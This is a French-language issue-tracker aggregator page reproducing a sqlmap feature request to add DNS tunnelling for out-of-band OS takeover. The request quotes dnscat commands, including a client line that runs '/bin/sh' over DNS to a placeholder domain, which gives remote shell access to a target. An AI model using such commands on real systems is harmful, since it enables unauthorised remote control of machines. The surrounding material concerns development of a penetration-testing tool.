Out-of-band DNS channel for OS takeover
@bdamele y travaille déjà.
Depuis le 26/6/2012.
Évaluation
Cette issue n'a pas encore été évaluée.
Description
We have already got OOB database server takeover via TCP (using Metasploit payloads: shell, Meterpreter, VNC), via ICMP (using icmpsh). It is time to implement out-of-band via DNS.
DNS tunneling as a Metasploit shellcode: http://www.skullsecurity.org/blog/?p=611.
Details about dnscat: http://www.skullsecurity.org/wiki/index.php/Dnscat.
Example of string on the authoritative DNS server for tun.yourdomain.org:
sudo ./dnscat --listen
Example of string of the client (target system):
./dnscat --domain tun.yourdomain.org --exec "/bin/sh"
Type commands on the authoritative DNS server for tun.yourdomain.org where you launched dnscat, they will be executed on the client (target system) and standard output shown inline.
- Langage dominant
- Python
- Étoiles
- 38.5k
- Forks
- 6.4k
- Métriques de merge des PR
- Aucune PR mergée en 30 j
Préparer son environnement
- Aucun Dockerfile ni fichier Docker Compose
- Aucun modèle de pull request
- Lire le guide de contribution
Par où commencer
- Lisez l'issue en entier, puis le guide de contribution du projet.
- Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
- Forkez le dépôt et travaillez sur une branche.
- Ouvrez une pull request qui référence le numéro de l'issue.
Autres issues de sqlmapproject/sqlmap
-
feature request
Difficulté 4/5 3-5 jours Accessibilité débutants 32/100
sqlmapproject/sqlmap#6134 ·
-
-g returns no resultsOuvertebug report
Difficulté 4/5 3-5 jours Accessibilité débutants 35/100
sqlmapproject/sqlmap#6009 ·
-
feature request
Difficulté 4/5 3-5 jours Accessibilité débutants 45/100
sqlmapproject/sqlmap#5424 · 9 commentaires · 7 réactions ·
-
feature request
Difficulté 5/5 Plus d'une semaine Accessibilité débutants 25/100
sqlmapproject/sqlmap#5163 · 1 commentaire · 3 réactions ·
-
feature request
Difficulté 5/5 Plus d'une semaine Accessibilité débutants 25/100
sqlmapproject/sqlmap#4973 · 4 commentaires ·
Toutes les issues de sqlmapproject/sqlmap
Issues similaires
-
Difficulté 2/5 1-3 heures Accessibilité débutants 84/100
PedestrianDynamics/pyFDS-Evac#343 ·
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 2/5 1-3 heures Accessibilité débutants 88/100
theskumar/python-dotenv#708 ·
-
Difficulté 1/5 Moins d'une heure Accessibilité débutants 88/100
Les mainteneurs répondent en général sous 2 jours
-
Docs Timedelta
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
pandas-dev/pandas#69919 ·
Les mainteneurs répondent en général sous 1 jour
-
API documentation
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
zephyrproject-rtos/west#1009 · 2 commentaires ·
Les mainteneurs répondent en général sous 3 jours